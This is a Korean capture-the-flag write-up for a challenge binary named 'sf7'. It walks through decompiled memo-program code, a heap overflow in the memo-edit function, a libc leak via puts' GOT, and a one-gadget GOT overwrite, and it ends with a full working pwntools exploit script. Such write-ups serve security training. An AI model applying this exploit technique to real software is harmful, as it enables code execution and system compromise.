sf7 풀이
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char *v3; // rax
int v5; // [rsp+0h] [rbp-20h]
int v6; // [rsp+4h] [rbp-1Ch]
_BYTE *v7; // [rsp+8h] [rbp-18h]
char *v8; // [rsp+8h] [rbp-18h]
_QWORD *v9; // [rsp+10h] [rbp-10h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
v7 = malloc(0x20uLL);
printf("Enter author name : ");
v8 = sub_40093A(v7, 0x20u);
v9 = malloc(0x20uLL);
v9[2] = 0LL;
*((_DWORD *)v9 + 6) = -1;
v6 = 1;
while ( v6 )
{
sub_4008B6(v8);
__isoc99_scanf();
getchar();
switch ( v5 )
{
case 1:
sub_400999(v9, (__int64)v8);
break;
case 2:
sub_400AC2(v9);
break;
case 3:
sub_400B3C(v9, v8);
break;
case 4:
sub_400C7F((const char **)v9, v8);
break;
case 5:
LODWORD(v3) = sub_400DBD(v8);
v8 = v3;
break;
case 6:
v6 = 0;
break;
default:
puts("Invalid menu.");
break;
}
sub_400E75(v9);
}
return 0LL;
}
ㄴ 메인함수
보면 1은 노트를 만들고, 2는 보여주고, 3은 수정, 4는 삭제, 5는 이름바꾸기, 6은 나가기다.
먼저 노트를 만들러 1에서 청크를 두번 만든다. 그리고 case 3에 들어가면
unsigned __int64 __fastcall sub_400B3C(__int64 *a1, const char *a2)
{
const char *v2; // rsi
int v5; // [rsp+1Ch] [rbp-84h]
__int64 *v7; // [rsp+28h] [rbp-78h]
char dest[104]; // [rsp+30h] [rbp-70h] BYREF
unsigned __int64 v9; // [rsp+98h] [rbp-8h]
v9 = __readfsqword(0x28u);
printf("memo : ");
v2 = sub_40093A(dest, 0x60u);
strcpy(dest, v2);
v5 = 0;
v7 = 0LL;
while ( a1 )
{
if ( v7 && !strcmp(dest, (const char *)a1[2]) && !strcmp(a2, (const char *)a1[1]) )
{
v5 = 1;
break;
}
v7 = a1;
a1 = (__int64 *)*a1;
}
if ( v5 )
{
printf("new memo : ");
a1[2] = (__int64)sub_40093A((_BYTE *)a1[2], 0x60u);
puts("success");
}
else
{
puts("There are no such memo.");
}
return __readfsqword(0x28u) ^ v9;
}
다음과 같은데
요런식으로 되어있어서 아래 v5=1, break하는 조건문이 통과된다. 그 이유는..
1번째 반복문)
a1=0x75c040을 가리키는 변수의 주소
a1[1]=0
a1[2]=0 -> 위 사진을 확인하면 둘다 0인걸 알수있음
v7=0 -> 조건문 충족 X
a2=0x75c010 [즉, AAAA를 가리킴]
2번째 반복문)
a1=0x75c040
a1[1]=0x75c010 [즉, AAAA를 가리킴]
a1[2]=0x75c0a0 [즉, BBBB를 가리킴]
v7=a1
a2=0x75c010 [즉, AAAA를 가리킴]
그러면 dest를 BBBB로 바꿔주면, v7!=0, strcmp(dest, a1[2])==0, strcmp(a2, a1[1])==0이므로 조건문 충족
즉, 2번째 반복문에서 조건문을 충족한다.
그러면 맨 아래 조건문에서 청크의 헤더를 덮을 수 있는데, 그러려면 위 청크 크기를 48정도로 잡아야 된다. 그래야 충분히 덮음
그래서 헤더를 각각 0, 0x31, 0, 0x602120, 0x602028(puts의 got)로 덮고 케이스 2로 가보자.
이렇게 덮은 이유는 립씨를 leak해서 나중에 함수의 주소를 원가젯의 주소로 덮기 위함
__int64 *__fastcall sub_400AC2(__int64 *a1)
{
__int64 *result; // rax
__int64 *i; // [rsp+10h] [rbp-10h]
__int64 *v3; // [rsp+18h] [rbp-8h]
v3 = 0LL;
result = a1;
for ( i = a1; i; i = (__int64 *)*i )
{
if ( v3 )
{
if ( *((int *)i + 6) > 0 )
printf("%s - %s [%d]\n", (const char *)i[1], (const char *)i[2], *((unsigned int *)i + 6));
}
v3 = i;
result = (__int64 *)*i;
}
return result;
}
반복문에 의해 ' - puts의 주소'가 출력되는걸 볼수있다.
그러면 다음에 case 3으로 가면 0x602120에 있는 값이랑 name이랑 비교하는걸 볼수있는데, 602120엔 0이 있기에 위헤 name에선 0을 넣어줘야했다. 그리고 dest랑 602028에 있는 값이랑 비교하는데, 당연히 602028은 got는 puts의 주소가 적혀있고, 우린 2에서 그걸 출력했으니 그걸 dest에 준다.
그리고 립씨 베이스 주소를 구해 원가젯의 주소를 구한후, 넣어주면 끝이다.
from pwn import *
#p=remote('182.213.154.20', 21005)
p=process('./sf7')
p.recvuntil(' : ')
p.send(p64(0))
one_gadget=0xf1247
#1
p.sendlineafter('> ', '1')
p.recvuntil(' : ')
p.sendline('48')
p.recvuntil(" : ")
p.send("BBBB")
#2
p.sendlineafter('> ', '1')
p.recvuntil(" : ")
p.sendline('48')
p.recvuntil(" : ")
p.send("CCCC")
#3
p.sendlineafter('> ', '3')
p.recvuntil(" : ")
p.send('BBBB')
p.recvuntil(' : ')
p.send('B'*0x30+p64(0)+p64(0x31)+p64(0)+p64(0x602120)+p64(0x602028))
#4
p.sendlineafter('> ', '2')
p.recvuntil(' - ')
p.recvuntil(' - ')
addr=p.recv(6)
puts_addr=u64(addr+"\x00\x00")
libc_base=puts_addr-0x06f6a0
print("Puts addr : "+hex(puts_addr))
print("libc base : "+ hex(libc_base))
#5
p.sendlineafter('> ', '3')
p.recvuntil(" : ")
p.send(addr)
p.recvuntil(" : ")
p.send(p64(libc_base+one_gadget))
p.interactive()
그럼 성공!